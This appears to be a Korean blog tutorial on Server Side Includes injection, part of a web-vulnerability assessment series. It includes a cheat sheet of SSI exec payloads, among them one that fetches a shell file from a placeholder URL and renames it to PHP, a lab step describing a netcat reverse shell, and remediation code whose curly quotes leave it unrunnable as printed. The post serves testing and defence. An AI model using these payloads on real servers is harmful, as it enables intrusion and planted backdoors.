모의해킹&웹취약점진단/주•통기반 웹 취약점 점검

06. SSI 인젝션

sheow13 2023. 9. 19. 15:50
728x90

 개요

- SSI(Server Side Includes)HTML 페이지에 사용하는 지시어로, SSI를 사용하면 CGI 프로그램이나 다른 동적인 기술로 페이지 전체를 만들어서 서비스하지 않고도 HTML 페이지에 동적으로 생성한 내용을 추가할 수 있다.

- 보통 방문자 수, 조회 수 등의 동적인 내용을 추가할 때 사용

- SSI를 사용하는 웹 사이트는 .shtml, .stm, shtm 파일을 사용하는데, 공격자는 악의적인 목적으로 SSI 지시어를 인젝션하여 중요 파일 탈취, 악성파일 삽입 등이 가능한 공격

- 주요정보통신기반시설 웹 취약점 진단 기준으로 06. SSI 인젝션에 해당

 

 

 

SSI(Server Side Includes)?

- SSI는 간단한 서버 사이드 스크립트 언어로, #include 지시문을 사용하여 하나 이상의 파일 내용을 웹 서버의 웹 페이지에 포함하는 데 사용되며, 보통 다운로드 전 파일 크기나 현재 문서의 마지막 수정 날짜를 표시하는데 자주 사용된다.

 

 SSI Injection이란?

- 시스템 권한을 가지지 못한 일반 사용자도 시스템 명령을 삽입할 수 있는 취약점을 이용하여, 공격자는 웹 서버 상에 있는 파일을 include 시켜 명령문을 실행시켜 불법적으로 데이터에 접근 또는 백도어 연결 등을 수행할 수 있다.

 

SSI Injection Cheat Sheat

예시
<!--#exec cmd="ls" -->
<!--#exec cmd="cd /root/dir/">
<!--#exec cmd="wget http://[URL]/shell.txt | rename shell.txt shell.php" -->
<!--#exec cmd="dir" -->
<!--#exec cmd="cd C:\admin\dir">

 

 

실습1 (난이도 : )

 

1. SSI Injection으로 이동 후 First name, Last name에 문자열 값 입력 시, 접속한 사용자 IP 출력 확인

 

2. 입력란에 SSI 인젝션 시도 시, 정상적으로 명령어 동작 확인

명령어 : <!--#echo var="DATE_LOCAL" -->

3. 리버스 쉘 획득을 위해 netcat 명령어 입력 시, 리버스 쉘 권한 획득 확인

 

 

SSI Injection 점검 방법

수동 점검

- 웹사이트의 사용자 인수 값을 입력받은 애플리케이션에 SSI 인젝션 Cheat Sheet 입력 후, 에러 페이지 또는 특이사항이 발생하는지 확인

 

 

자동화 도구를 통한 점검

- 자동화 도구(Ex, Burp Suite Pro, Acunetix )를 사용하여 점검하고자 하는 사이트에 운영체제 명령 실행 취약 여부 점검

- 아래 예시는 Burp Suite에서 제공하는 Active Scan을 예시로 들었으며, 자세한 사항은 하기 링크 참조

 

조치 방법

1. 시큐어코딩을 통해 특수문자 이스케이프 처리

import subprocess
from django.shortcuts import render


def execute_command(request):
    date = request.POST.get(‘date’,“)


    # 명령어를 추가로 실행 또는 또 다른 명령이 실행될 수 있는 키워드에 대한 예외처리
    for word in [‘|’, ‘;’, ‘&’, ‘:’, ‘>’, ‘<’, ‘“, ’\\’, ‘!’]:
      date = date.replace(word, “”)


    # shell=True 옵션은 제거하고 명령과 인자를 배열로 입력
    subprocess.run([“cmd”, “/c”, “backuplog.bat”, date])
    return render(request, ‘/success.html’)

 

2. HTML에서 htmlspecialchars() 함수를 사용하여 특수문자를 이스케이프 처리

더보기

function a($var)            // 입력 받은 특수문자를 이스케이프 처리
{
if (is_array($var)) {
return array_map(‘a’, $var);
} else {
return htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’);
}

'모의해킹&웹취약점진단 > 주•통기반 웹 취약점 점검' 카테고리의 다른 글

09. 정보 누출  (2) 2023.12.01
07. XPath 인젝션  (0) 2023.10.19
05. SQL Injection  (1) 2023.10.19
01. buffer overflow 취약점  (0) 2023.10.12
04. 운영체제 명령 실행 취약점  (0) 2023.09.19